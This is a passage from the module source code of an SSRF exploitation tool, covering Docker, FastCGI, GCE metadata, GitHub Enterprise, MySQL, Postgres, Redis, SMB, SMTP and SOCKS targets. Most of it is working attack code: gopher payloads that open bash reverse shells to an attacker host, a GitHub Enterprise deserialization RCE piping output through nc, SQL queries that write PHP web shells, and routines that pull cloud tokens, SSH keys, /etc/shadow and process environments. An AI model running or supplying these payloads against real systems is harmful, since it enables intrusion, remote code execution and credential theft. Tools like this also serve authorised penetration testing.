| 10 | name = "docker" 11 | description = "Docker Infoleaks via Open Docker API" 12 | author = "errorfiathck" 13 | documentation = [] 14 | 15 | class exploit(): 16 | 17 | def __init__(self, requester, args): 18 | logging.info(f"Module '{name}' launched !") 19 | gen_host = gen_ip_list("127.0.0.1", args.level) 20 | port = "2375" 21 | 22 | for ip in gen_host: 23 | 24 | # Step 1 - Extract id and name from each container 25 | data = "containers/json" 26 | payload = wrapper_http(data, ip, port) 27 | r = requester.do_request(args.param, payload) 28 | 29 | if r.json: 30 | for container in r.json(): 31 | container_id = container['Id'] 32 | container_name = container['Names'][0].replace('/','') 33 | container_command = container['Command'] 34 | 35 | logging.info("Found docker container") 36 | logging.info(f"\033[32mId\033[0m : {container_id}") 37 | logging.info(f"\033[32mName\033[0m : {container_name}") 38 | logging.info(f"\033[32mCommand\033[0m : {container_command}\n") 39 | 40 | # Step 2 - Extract id and name from each image 41 | data = "images/json" 42 | payload = wrapper_http(data, ip, port) 43 | r = requester.do_request(args.param, payload) 44 | 45 | if r.json: 46 | images = {} 47 | for index, container in enumerate(r.json()): 48 | container_id = container['Id'] 49 | container_name = container['RepoTags'][0].replace('/','') 50 | 51 | logging.info(f"Found docker image n°{index}") 52 | logging.info(f"\033[32mId\033[0m : {container_id}") 53 | logging.info(f"\033[32mName\033[0m : {container_name}\n") 54 | images[container_name] = container_id -------------------------------------------------------------------------------- /modules/fastcgi.py: -------------------------------------------------------------------------------- 1 | from utils.utils import * 2 | import logging 3 | 4 | name = "fastcgi" 5 | description = "FastCGI RCE" 6 | author = "errorfiathck" 7 | documentation = [] 8 | 9 | class exploit(): 10 | SERVER_HOST = "127.0.0.1" 11 | SERVER_PORT = "4242" 12 | 13 | def __init__(self, requester, args): 14 | logging.info(f"Module '{name}' launched !") 15 | 16 | # Handle args for reverse shell 17 | if args.lhost == None: self.SERVER_HOST = input("Server Host:") 18 | else: self.SERVER_HOST = args.lhost 19 | 20 | if args.lport == None: self.SERVER_PORT = input("Server Port:") 21 | else: self.SERVER_PORT = args.lport 22 | 23 | # Using a generator to create the host list 24 | # Edit the following ip if you need to target something else 25 | gen_host = gen_ip_list("127.0.0.1", args.level) 26 | for ip in gen_host: 27 | 28 | # Data and port for the service 29 | port = "9000" 30 | data = "%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/SERVER_HOST/SERVER_PORT%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00" 31 | payload = wrapper_gopher(data, ip , port) 32 | 33 | # Handle args for reverse shell 34 | payload = payload.replace("SERVER_HOST", self.SERVER_HOST) 35 | payload = payload.replace("SERVER_PORT", self.SERVER_PORT) 36 | 37 | # Send the payload 38 | r = requester.do_request(args.param, payload) -------------------------------------------------------------------------------- /modules/gce.py: -------------------------------------------------------------------------------- 1 | from utils.utils import * 2 | import logging 3 | import os 4 | 5 | name = "gce" 6 | description = "Access sensitive data from GCE" 7 | author = "mrtc0" 8 | documentation = [ 9 | "https://cloud.google.com/compute/docs/storing-retrieving-metadata", 10 | "https://hackerone.com/reports/341876", 11 | "https://blog.ssrf.in/post/example-of-attack-on-gce-and-gke-instance-using-ssrf-vulnerability/" 12 | ] 13 | 14 | class exploit(): 15 | endpoints = set() 16 | 17 | def __init__(self, requester, args): 18 | logging.info(f"Module '{name}' launched !") 19 | self.add_endpoints() 20 | 21 | r = requester.do_request(args.param, "") 22 | if r != None: 23 | default = r.text 24 | 25 | # Create directory to store files 26 | directory = requester.host 27 | # Replace : with _ for window folder name safe 28 | # https://www.ibm.com/docs/en/spectrum-archive-sde/2.4.1.0?topic=tips-file-name-characters 29 | directory = directory.replace(':','_') 30 | if not os.path.exists(directory): 31 | os.makedirs(directory) 32 | 33 | for endpoint in self.endpoints: 34 | payload = wrapper_http(endpoint[1], endpoint[0] , "80") 35 | r = requester.do_request(args.param, payload) 36 | diff = diff_text(r.text, default) 37 | if diff != "": 38 | 39 | # Display diff between default and ssrf request 40 | logging.info(f"\033[32mReading file\033[0m : {payload}") 41 | print(diff) 42 | 43 | # Write diff to a file 44 | filename = endpoint[1].split('/')[-1] 45 | if filename == "": 46 | filename = endpoint[1].split('/')[-2:-1][0] 47 | 48 | logging.info(f"\033[32mWriting file\033[0m : {payload} to {directory + '/' + filename}") 49 | with open(directory + "/" + filename, 'w') as f: 50 | f.write(diff) 51 | 52 | 53 | def add_endpoints(self): 54 | self.endpoints.add( ("metadata.google.internal", "computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json") ) 55 | self.endpoints.add( ("metadata.google.internal", "computeMetadata/v1beta1/instance/service-accounts/default/token") ) 56 | self.endpoints.add( ("metadata.google.internal", "computeMetadata/v1beta1/instance/attributes/kube-env?alt=json") ) 57 | self.endpoints.add( ("metadata.google.internal", "computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json") ) 58 | 59 | 60 | -------------------------------------------------------------------------------- /modules/github.py: -------------------------------------------------------------------------------- 1 | from utils.utils import * 2 | import urllib.parse 3 | import logging 4 | 5 | name = "github" 6 | description = "Github Enterprise RCE < 2.8.7" 7 | author = "Orange" 8 | documentation = [ 9 | "https://www.exploit-db.com/exploits/42392/", 10 | "https://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html" 11 | ] 12 | 13 | class exploit(): 14 | 15 | def __init__(self, requester, args): 16 | logging.info(f"Module '{name}' launched !") 17 | 18 | # Data for the service 19 | ip = "0" 20 | port = "8000" 21 | data = "composer/send_email?to=orange@chroot.org&url=http://127.0.0.1:11211/" 22 | 23 | cmd = "id | nc SERVER_HOST SERVER_PORT" 24 | # cmd = "nc SERVER_HOST SERVER_PORT -e /bin/sh" 25 | marshal_code = f'\x04\x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\x07:\x0e@instanceo:\x08ERB\x07:\t@srcI"\x1e`{cmd}`\x06:\x06ET:\x0c@linenoi\x00:\x0c@method:\x0bresult' 26 | payload = [ 27 | '', 28 | 'set githubproductionsearch/queries/code_query:857be82362ba02525cef496458ffb09cf30f6256:v3:count 0 60 %d' % len(marshal_code), 29 | marshal_code, 30 | '', 31 | '' 32 | ] 33 | payload = map(urllib.parse.quote, payload) 34 | payload = wrapper_http(data+'%0D%0A'.join(payload), ip, port) 35 | 36 | # Handle args for reverse shell 37 | if args.lhost == None: payload = payload.replace("SERVER_HOST", input("Server Host:")) 38 | else: payload = payload.replace("SERVER_HOST", args.lhost) 39 | 40 | if args.lport == None: payload = payload.replace("SERVER_PORT", input("Server Port:")) 41 | else: payload = payload.replace("SERVER_PORT", args.lport) 42 | 43 | 44 | logging.info("You need to insert the WebHooks in 'https://ghe-server/:user/:repo/settings/hooks'") 45 | logging.info("Then make a request to 'https://ghe-server/search?q=ggggg&type=Repositories'") 46 | logging.info(f"Payload : {payload}") -------------------------------------------------------------------------------- /modules/httpcollaborator.py: -------------------------------------------------------------------------------- 1 | from utils.utils import * 2 | import re 3 | import threading 4 | import logging 5 | import urllib.parse 6 | 7 | """ 8 | Example: 9 | ``` 10 | ~$ python3 ssrf-exploit.py -v -u url --lhost=public-ip --lport 4242 -m httpcollaborator -l http 11 | ``` 12 | Use ssh/autossh to established remote tunnel between public and localhost handler if running module locally against remote target 13 | ``` 14 | ~$ ssh -fN -R public-ip:4242:127.0.0.1:4242 username@public-ip 15 | ``` 16 | """ 17 | 18 | name = "httpcollaborator" 19 | description = "This module act like burpsuite collaborator through http protocol to detect if target parameters are prone to ssrf" 20 | author = "errorfiathck" 21 | documentation = [] 22 | 23 | class Handler(threading.Thread): 24 | 25 | def __init__(self, port): 26 | threading.Thread.__init__(self) 27 | logging.info(f"Handler listening on 0.0.0.0:{port}") 28 | self.connected = False 29 | self.port = int(port) 30 | 31 | def run(self): 32 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 33 | self.socket.bind(('', self.port)) 34 | 35 | while True: 36 | self.socket.listen(5) 37 | self.client, address = self.socket.accept() 38 | print(f"Handler> New session from {address[0]}") 39 | self.connected = True 40 | 41 | response = self.client.recv(255) 42 | while response != b"": 43 | print(f"\n{response.decode('utf_8', 'ignore').strip()}\nShell > $ ", end='') 44 | response = self.client.recv(255) 45 | 46 | def listen_command(self): 47 | if self.connected == True: 48 | cmd = input("Shell> $ ") 49 | if cmd == "exit": 50 | self.kill() 51 | print("BYE !") 52 | exit() 53 | self.send_command(cmd+"\n\n") 54 | 55 | def send_command(self, cmd): 56 | self.client.sendall(cmd.encode()) 57 | 58 | def kill(self): 59 | self.client.close() 60 | self.socket.close() 61 | 62 | 63 | class exploit(): 64 | SERVER_HOST = "127.0.0.1" 65 | SERVER_PORT = "4242" 66 | 67 | def __init__(self, requester, args): 68 | logging.info(f"Module '{name}' launched !") 69 | 70 | # Handle args for httpcollaborator 71 | if args.lhost == None: self.SERVER_HOST = input("Server Host:") 72 | else: self.SERVER_HOST = args.lhost 73 | 74 | if args.lport == None: self.SERVER_PORT = input("Server Port:") 75 | else: self.SERVER_PORT = args.lport 76 | 77 | params = args.param.split(",") 78 | for param in params: 79 | logging.info(f"Testing PARAM: {param}") 80 | payload = wrapper_http(f"?{param}", args.lhost, args.lport.strip() ) 81 | r = requester.do_request(param, payload) 82 | 83 | logging.info(f"Module '{name}' finished !") 84 | -------------------------------------------------------------------------------- /modules/memcache.py: -------------------------------------------------------------------------------- 1 | from utils.utils import * 2 | import urllib.parse 3 | import logging 4 | 5 | name = "memcache" 6 | description = "Store data inside the memcache instance" 7 | author = "errorfiathck" 8 | documentation = [] 9 | 10 | class exploit(): 11 | SERVICE_IP = "127.0.0.1" 12 | SERVICE_PORT = "11211" 13 | SERVICE_DATA = "\r\n" 14 | 15 | def __init__(self, requester, args): 16 | logging.info(f"Module '{name}' launched !") 17 | gen_host = gen_ip_list("127.0.0.1", args.level) 18 | payload = input("Data to store: ") 19 | 20 | self.SERVICE_DATA += f'set payloadname 0 0 {len(payload)}\r\n' 21 | self.SERVICE_DATA += f'{payload}\r\n' 22 | self.SERVICE_DATA += 'quit\r\n' 23 | self.SERVICE_DATA = urllib.parse.quote(self.SERVICE_DATA) 24 | 25 | for SERVICE_IP in gen_host: 26 | payload = wrapper_gopher(self.SERVICE_DATA, self.SERVICE_IP, self.SERVICE_PORT) 27 | 28 | if args.verbose == True: 29 | logging.info(f"Generated payload : {payload}") 30 | 31 | r = requester.do_request(args.param, payload) 32 | 33 | if args.verbose == True: 34 | logging.info("Module '{name}' ended !") -------------------------------------------------------------------------------- /modules/mysql.py: -------------------------------------------------------------------------------- 1 | from utils.utils import * 2 | import logging 3 | import binascii 4 | 5 | # NOTE 6 | # This exploit is a Python 3 version of the Gopherus tool 7 | 8 | name = "mysql" 9 | description = "Execute MySQL command < 8.0" 10 | author = "errorfiathck" 11 | documentation = [] 12 | 13 | 14 | class exploit(): 15 | user = "root" 16 | query = "SELECT database();#" 17 | reverse = "select \"& /dev/tcp/SERVER_HOST/SERVER_PORT 0>&1'); ?>\" INTO OUTFILE '/var/www/html/shell.php'" 18 | dios = "(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#" 19 | 20 | 21 | def __init__(self, requester, args): 22 | logging.info(f"Module '{name}' launched !") 23 | 24 | # Encode the username for the request 25 | self.user = input("Give MySQL username: ") 26 | encode_user = binascii.hexlify( self.user.encode() ) 27 | user_length = len(self.user) 28 | temp = user_length - 4 29 | length = f'{(0xa3 + temp):x}' 30 | 31 | # Authenticate to MySQL service - only work with users allowed without password 32 | dump = length+ "00000185a6ff0100000001210000000000000000000000000000000000000000000000" 33 | dump += encode_user.decode() 34 | dump += "00006d7973716c5f6e61746976655f70617373776f72640066035f6f73054c696e75780c5f636c69656e745f6e616d65086c" 35 | dump += "69626d7973716c045f7069640532373235350f5f636c69656e745f76657273696f6e06352e372e3232095f706c6174666f726d" 36 | dump += "067838365f36340c70726f6772616d5f6e616d65056d7973716c" 37 | 38 | query = input("Give MySQL query to execute (reverse/dios or any SQL statement): ") 39 | 40 | # Reverse shell - writing system() in /var/www/html/shell.php 41 | if query == "reverse": 42 | self.query = self.reverse 43 | if args.lhost == None: 44 | self.query = self.query.replace("SERVER_HOST", input("Server Host:")) 45 | else: 46 | self.query = self.query.replace("SERVER_HOST", args.lhost) 47 | 48 | if args.lport == None: 49 | self.query = self.query.replace("SERVER_PORT", input("Server Port:")) 50 | else: 51 | self.query = self.query.replace("SERVER_PORT", args.lport) 52 | 53 | # Dump in one shot - extract every databases/tables/columns 54 | elif query == "dios": 55 | self.query = self.dios 56 | 57 | else: 58 | self.query = query 59 | 60 | auth = dump.replace("\n","") 61 | 62 | # For every IP generated, send the payload and extract the result 63 | gen_host = gen_ip_list("127.0.0.1", args.level) 64 | for ip in gen_host: 65 | payload = self.get_payload(self.query, auth, ip) 66 | logging.info(f"Generated payload : {payload}") 67 | 68 | r1 = requester.do_request(args.param, payload) 69 | r2 = requester.do_request(args.param, "") 70 | if r1 != None and r2!= None: 71 | diff = diff_text(r1.text, r2.text) 72 | print(diff) 73 | 74 | 75 | def encode(self, s, ip): 76 | a = [s[i:i + 2] for i in range(0, len(s), 2)] 77 | return wrapper_gopher("%"+"%".join(a), ip, "3306") 78 | 79 | 80 | def get_payload(self, query, auth, ip): 81 | if(query.strip()!=''): 82 | query = binascii.hexlify( query.encode() ) 83 | query_length = f'{(int((len(query) / 2) + 1)):x}' 84 | pay1 = query_length.rjust(2,'0') + "00000003" + query.decode() 85 | final = self.encode(auth + pay1 + "0100000001", ip) 86 | return final 87 | else: 88 | return self.encode(auth, ip) 89 | -------------------------------------------------------------------------------- /modules/networkscan.py: -------------------------------------------------------------------------------- 1 | from utils.utils import * 2 | from datetime import datetime 3 | import sys, struct, socket 4 | import logging 5 | import concurrent.futures 6 | 7 | name = "networkscan" 8 | description = "Scan the network - HTTP Ping sweep" 9 | author = "errorfiathck" 10 | documentation = [] 11 | 12 | class exploit(): 13 | ips = set() 14 | 15 | def __init__(self, requester, args): 16 | logging.info(f"Module '{name}' launched !") 17 | 18 | # concurrent requests in order to limit the time 19 | self.add_range("192.168.1.0/24") # Default network 20 | self.add_range("192.168.0.0/24") # Default network 21 | 22 | # Uncomment these lines if you need to scan more networks 23 | # self.add_range("172.17.0.0/16") # Docker network 24 | # self.add_range("172.18.0.0/16") # Docker network 25 | 26 | 27 | 28 | r = requester.do_request(args.param, "") 29 | with concurrent.futures.ThreadPoolExecutor(max_workers=None) as executor: 30 | future_to_url = {executor.submit(self.concurrent_request, requester, args.param, ip, "80", r): ip for ip in self.ips} 31 | 32 | 33 | def add_range(self, ip_cidr): 34 | (ip, cidr) = ip_cidr.split('/') 35 | cidr = int(cidr) 36 | host_bits = 32 - cidr 37 | i = struct.unpack('>I', socket.inet_aton(ip))[0] # note the endianness 38 | start = (i >> host_bits) << host_bits # clear the host bits 39 | end = start | ((1 << host_bits) - 1) 40 | 41 | for i in range(start, end): 42 | self.ips.add(socket.inet_ntoa(struct.pack('>I',i))) 43 | 44 | 45 | def concurrent_request(self, requester, param, host, port, compare): 46 | try: 47 | payload = wrapper_http("", host, port.strip()) 48 | r = requester.do_request(param, payload) 49 | 50 | if (not "Connection refused" in r.text) and (r.text != compare.text): 51 | timer = datetime.today().time().replace(microsecond=0) 52 | print(f"\t[{timer}] Found host :{host+ ' '*40}") 53 | 54 | timer = datetime.today().time().replace(microsecond=0) 55 | except Exception as e: 56 | pass -------------------------------------------------------------------------------- /modules/portscan.py: -------------------------------------------------------------------------------- 1 | from utils.utils import * 2 | from datetime import datetime 3 | import logging 4 | import concurrent.futures 5 | 6 | name = "portscan" 7 | description = "Scan ports of the target" 8 | author = "errorfiathck" 9 | documentation = [] 10 | 11 | class exploit(): 12 | 13 | def __init__(self, requester, args): 14 | logging.info(f"Module '{name}' launched !") 15 | r = requester.do_request(args.param, "") 16 | 17 | load_ports = "" 18 | with open("data/ports", "r") as f: 19 | load_ports = f.readlines() 20 | 21 | gen_host = gen_ip_list("127.0.0.1", args.level) 22 | for ip in gen_host: 23 | with concurrent.futures.ThreadPoolExecutor(max_workers=None) as executor: 24 | future_to_url = {executor.submit(self.concurrent_request, requester, args.param, ip, port, r): port for port in load_ports} 25 | 26 | 27 | def concurrent_request(self, requester, param, host, port, compare): 28 | try: 29 | payload = wrapper_http("", host, port.strip()) 30 | r = requester.do_request(param, payload) 31 | 32 | if r != None and not "Connection refused" in r.text: 33 | timer = datetime.today().time().replace(microsecond=0) 34 | port = port.strip() + " "*20 35 | 36 | if r.text != '' and r.text != compare.text: 37 | print(f"\t[{timer}] IP:{host:12s}, Found \033[32mopen \033[0m port n°{port}") 38 | else: 39 | print(f"\t[{timer}] IP:{host:12s}, Found \033[31mfiltered\033[0m port n°{port}") 40 | 41 | timer = datetime.today().time().replace(microsecond=0) 42 | port = port.strip() + " "*20 43 | print(f"\t[{timer}] Checking port n°{port}", end='\r'), 44 | 45 | except Exception as e: 46 | print(e) 47 | timer = datetime.today().time().replace(microsecond=0) 48 | port = port.strip() + " "*20 49 | print(f"\t[{timer}] IP:{host:212}, \033[33mTimed out\033[0m port n°{port}") 50 | pass -------------------------------------------------------------------------------- /modules/postgres.py: -------------------------------------------------------------------------------- 1 | from utils.utils import * 2 | import logging 3 | import binascii 4 | 5 | # NOTE 6 | # This exploit is a Python 3 version of the Gopherus tool 7 | 8 | name = "postgres" 9 | description = "Execute Postgres command" 10 | author = "sengkyaut" 11 | documentation = [ 12 | "https://github.com/tarunkant/Gopherus" 13 | ] 14 | 15 | class exploit(): 16 | user = "postgres" 17 | database = "postgres" 18 | reverse = "COPY (SELECT '& /dev/tcp/SERVER_HOST/SERVER_PORT 0>&1\");?>') TO '/var/www/html/shell.php';" 19 | php_cmd_shell = "COPY (SELECT '') TO '/var/www/html/shell.php';" 20 | 21 | def __init__(self, requester, args): 22 | logging.info(f"Module '{name}' launched !") 23 | 24 | # Get the username, database, query 25 | self.user = input("Give Postgres username (Default postgres): ") or self.user 26 | self.database = input("Give Postgres Database name (Default postgres): ") or self.database 27 | query = input("Give Postgres query to execute (reverse or phpshell or any Postgres statement): ") 28 | 29 | # Reverse shell - writing system() in /var/www/html/shell.php 30 | if query == "reverse": 31 | self.query = self.reverse 32 | if args.lhost == None: 33 | self.query = self.query.replace("SERVER_HOST", input("Server Host:")) 34 | else: 35 | self.query = self.query.replace("SERVER_HOST", args.lhost) 36 | 37 | if args.lport == None: 38 | self.query = self.query.replace("SERVER_PORT", input("Server Port:")) 39 | else: 40 | self.query = self.query.replace("SERVER_PORT", args.lport) 41 | 42 | elif query == "phpshell": 43 | self.query = self.php_cmd_shell 44 | 45 | else: 46 | self.query = query 47 | 48 | # For every IP generated, send the payload 49 | gen_host = gen_ip_list("127.0.0.1", args.level) 50 | for ip in gen_host: 51 | payload = self.get_payload(self.query, ip) 52 | logging.info(f"Generated payload : {payload}") 53 | 54 | r = requester.do_request(args.param, payload) 55 | 56 | if query == "reverse" or query == "phpshell": 57 | logging.info(f"Please check the shell.php on the web root for confirmation.") 58 | 59 | logging.info(f"Module '{name}' ended !") 60 | 61 | def encode(self, s, ip): 62 | a = [s[i:i + 2] for i in range(0, len(s), 2)] 63 | return wrapper_gopher("%"+"%".join(a), ip, "5432") 64 | 65 | def encode_to_hex_str(self, data): 66 | return binascii.hexlify(data.encode()).decode() 67 | 68 | def get_payload(self, query, ip): 69 | if(query.strip()!=''): 70 | # Encode username, db and query 71 | encode_user = self.encode_to_hex_str(self.user) 72 | encode_db = self.encode_to_hex_str(self.database) 73 | encode_query = self.encode_to_hex_str(self.query) 74 | len_query = len(query) + 5 75 | 76 | # Construct the payload 77 | start = "000000" + self.encode_to_hex_str(chr(4+len(self.user)+8+len(self.database)+13)) + "000300" 78 | data = "00" + self.encode_to_hex_str("user") + "00" + encode_user + "00" + self.encode_to_hex_str("database") + "00" + encode_db 79 | data += "0000510000" + str(hex(len_query)[2:]).zfill(4) 80 | data += encode_query 81 | end = "005800000004" 82 | 83 | packet = start + data + end 84 | final = self.encode(packet, ip) 85 | return final 86 | else: 87 | logging.error(f"Query can't be empty") 88 | raise Exception('Postgres query empty!') 89 | -------------------------------------------------------------------------------- /modules/readfiles.py: -------------------------------------------------------------------------------- 1 | from utils.utils import * 2 | import logging 3 | import os 4 | from argparse import ArgumentParser 5 | 6 | name = "readfiles" 7 | description = "Read files from the target" 8 | author = "Swissky" 9 | documentation = [] 10 | 11 | class exploit(): 12 | 13 | def __init__(self, requester, args): 14 | logging.info(f"Module '{name}' launched !") 15 | self.files = args.targetfiles.split(',') if args.targetfiles != None else ["/etc/passwd", "/etc/lsb-release", "/etc/shadow", "/etc/hosts", "\/\/etc/passwd", "/proc/self/environ", "/proc/self/cmdline", "/proc/self/cwd/index.php", "/proc/self/cwd/application.py", "/proc/self/cwd/main.py", "/proc/self/exe"] 16 | self.file_magic = {'elf' : bytes([0x7f, 0x45, 0x4c, 0x46])} 17 | 18 | r = requester.do_request(args.param, "") 19 | 20 | if r != None: 21 | default = r.text 22 | 23 | # Create directory to store files 24 | directory = requester.host 25 | # Replace : with _ for window folder name safe 26 | # https://www.ibm.com/docs/en/spectrum-archive-sde/2.4.1.0?topic=tips-file-name-characters 27 | directory = directory.replace(':','_') 28 | if not os.path.exists(directory): 29 | os.makedirs(directory) 30 | 31 | for f in self.files: 32 | r = requester.do_request(args.param, wrapper_file(f)) 33 | diff = diff_text(r.text, default) 34 | if diff != "": 35 | 36 | # Display diff between default and ssrf request 37 | logging.info(f"\033[32mReading file\033[0m : {f}") 38 | if bytes(diff, encoding='utf-8').startswith(self.file_magic["elf"]): 39 | print("ELF binary found - not printing to stdout") 40 | else: 41 | print(diff) 42 | 43 | # Write diff to a file 44 | filename = f.replace('\\','_').replace('/','_') 45 | logging.info(f"\033[32mWriting file\033[0m : {f} to {directory + '/' + filename}") 46 | with open(directory + "/" + filename, 'w') as f: 47 | f.write(diff) 48 | 49 | else: 50 | print("Empty response") 51 | -------------------------------------------------------------------------------- /modules/redis.py: -------------------------------------------------------------------------------- 1 | from utils.utils import * 2 | import logging 3 | 4 | name = "redis" 5 | description = "Redis RCE - Crontab reverse shell" 6 | author = "errorfiathck" 7 | documentation = [] 8 | 9 | class exploit(): 10 | SERVER_HOST = "127.0.0.1" 11 | SERVER_PORT = "4242" 12 | SERVER_CRON = "/var/lib/redis" 13 | 14 | def __init__(self, requester, args): 15 | logging.info(f"Module '{name}' launched !") 16 | 17 | # Handle args for reverse shell 18 | if args.lhost == None: self.SERVER_HOST = input("Server Host:") 19 | else: self.SERVER_HOST = args.lhost 20 | 21 | if args.lport == None: self.SERVER_PORT = input("Server Port:") 22 | else: self.SERVER_PORT = args.lport 23 | 24 | self.SERVER_CRON = input("Server Cron (e.g:/var/spool/cron/):") 25 | self.LENGTH_PAYLOAD = 65 - len("SERVER_HOST") - len("SERVER_PORT") 26 | self.LENGTH_PAYLOAD = self.LENGTH_PAYLOAD + len(str(self.SERVER_HOST)) 27 | self.LENGTH_PAYLOAD = self.LENGTH_PAYLOAD + len(str(self.SERVER_PORT)) 28 | 29 | # Using a generator to create the host list 30 | # Edit the following ip if you need to target something else 31 | gen_host = gen_ip_list("127.0.0.1", args.level) 32 | for ip in gen_host: 33 | 34 | # Data and port for the service 35 | port = "6379" 36 | data = "*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$LENGTH_PAYLOAD%0d%0a%0d%0a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/SERVER_HOST/SERVER_PORT%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0aSERVER_CRON%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a" 37 | payload = wrapper_gopher(data, ip , port) 38 | 39 | # Handle args for reverse shell 40 | payload = payload.replace("SERVER_HOST", self.SERVER_HOST) 41 | payload = payload.replace("SERVER_PORT", self.SERVER_PORT) 42 | payload = payload.replace("SERVER_CRON", self.SERVER_CRON) 43 | payload = payload.replace("LENGTH_PAYLOAD", str(self.LENGTH_PAYLOAD)) 44 | 45 | if args.verbose == True: 46 | logging.info(f"Generated payload : {payload}") 47 | 48 | # Send the payload 49 | r = requester.do_request(args.param, payload) 50 | 51 | if args.verbose == True: 52 | logging.info(f"Module '{name}' ended !") 53 | 54 | """ 55 | TODO: 56 | This exploit only works if you have control over a cron file. 57 | Command execution via PHP file is not implemented, a simple example is the following. 58 | gopher://127.0.0.1:6379/_FLUSHALL%0D%0ASET%20myshell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%0D%0ACONFIG%20SET%20DIR%20%2fwww%2f%0D%0ACONFIG%20SET%20DBFILENAME%20shell.php%0D%0ASAVE%0D%0AQUIT 59 | """ -------------------------------------------------------------------------------- /modules/smbhash.py: -------------------------------------------------------------------------------- 1 | from utils.utils import * 2 | import logging 3 | 4 | # NOTE 5 | # Use auxiliary/server/capture/smb from Metasploit to setup a listener 6 | 7 | name = "smbhash" 8 | description = "Force an SMB authentication attempt by embedding a UNC path (\\SERVER\SHARE) " 9 | author = "Swissky" 10 | documentation = [] 11 | 12 | class exploit(): 13 | UNC_EXAMPLE = "\\\\192.168.1.2\\SSRFmap" 14 | UNC_IP = "192.168.1.2" 15 | UNC_FILE = "SSRFmap" 16 | 17 | def __init__(self, requester, args): 18 | logging.info(f"Module '{name}' launched !") 19 | 20 | UNC_IP = input("UNC IP (default: 192.168.1.2): ") 21 | if UNC_IP != '': 22 | self.UNC_IP = UNC_IP 23 | 24 | UNC_FILE = input("UNC File (default: SSRFmap): ") 25 | if UNC_FILE != '': 26 | self.UNC_FILE = UNC_FILE 27 | 28 | payload = wrapper_unc(self.UNC_FILE, self.UNC_IP) 29 | r = requester.do_request(args.param, payload) 30 | logging.info(f"\033[32mSending UNC Path\033[0m : {payload}") 31 | -------------------------------------------------------------------------------- /modules/smtp.py: -------------------------------------------------------------------------------- 1 | from utils.utils import * 2 | import urllib.parse as urllib 3 | import logging 4 | 5 | name = "smtp" 6 | description = "Send a mail via SMTP" 7 | author = "errorfiathck" 8 | documentation = [] 9 | 10 | class exploit(): 11 | mailto = "admin@example.com" 12 | mailfrom = "errorfiathck@Gmail.com" 13 | subject = "SSRF - Got it!" 14 | msg = "SMTP exploit worked" 15 | 16 | 17 | def __init__(self, requester, args): 18 | logging.info(f"Module '{name}' launched !") 19 | self.mailto = input("[MAILTO] Give a mail (e.g: hacker@example.com): ") 20 | 21 | gen_host = gen_ip_list("127.0.0.1", args.level) 22 | for ip in gen_host: 23 | port = 25 24 | commands = [ 25 | 'MAIL FROM:' + self.mailfrom, 26 | 'RCPT To:' + self.mailto, 27 | 'DATA', 28 | 'From:' + self.mailfrom, 29 | 'Subject:' + self.subject, 30 | 'Message:' + self.msg, 31 | '.', 32 | '' 33 | ] 34 | 35 | data = "%0A".join(commands) 36 | data = urllib.quote_plus(data).replace("+","%20") 37 | data = data.replace("%2F","/") 38 | data = data.replace("%25","%") 39 | data = data.replace("%3A",":") 40 | payload = wrapper_gopher(data, ip , port) 41 | logging.info("Generated payload : {}".format(payload)) 42 | 43 | 44 | logging.info("Mail sent, look your inbox !") 45 | r = requester.do_request(args.param, payload) -------------------------------------------------------------------------------- /modules/socksproxy.py: -------------------------------------------------------------------------------- 1 | from utils.utils import * 2 | import _thread 3 | import urllib.parse 4 | from urllib.request import urlopen 5 | import logging 6 | import binascii 7 | 8 | # NOTE 9 | # Due to the nature of SSRF vulnerabilities, 10 | # only one response is made from a request. 11 | # You can't get an interactive shell either.. 12 | 13 | # $ cat /etc/proxychains.conf 14 | # [ProxyList] 15 | # socks4 127.0.0.1 9000 16 | 17 | name = "socksproxy" 18 | description = "SOCKS Proxy - Socks4" 19 | author = "errorfiathck" 20 | documentation = [] 21 | 22 | class exploit(): 23 | SOCKS = True 24 | HOST = 'localhost' 25 | PORT = 9000 26 | BUFSIZ = 4096 27 | TIMEOUT = 5 28 | 29 | def __init__(self, requester, args): 30 | logging.info(f"Module '{name}' launched !") 31 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 32 | server.bind((self.HOST, self.PORT)) 33 | server.listen(2) 34 | logging.info(f"Listener ready on port {self.PORT}") 35 | try: 36 | while 1: 37 | client, addr = server.accept() 38 | _thread.start_new_thread(self.child, (client,addr,requester, args)) 39 | except KeyboardInterrupt: 40 | server.close() 41 | 42 | def child(self, sock, addr, requester, args): 43 | 44 | if self.SOCKS: 45 | req = sock.recv(self.BUFSIZ) 46 | host, port, extra = self.decodesocks(req) 47 | if extra == "": 48 | dest = socket.inet_ntoa(host.encode()) 49 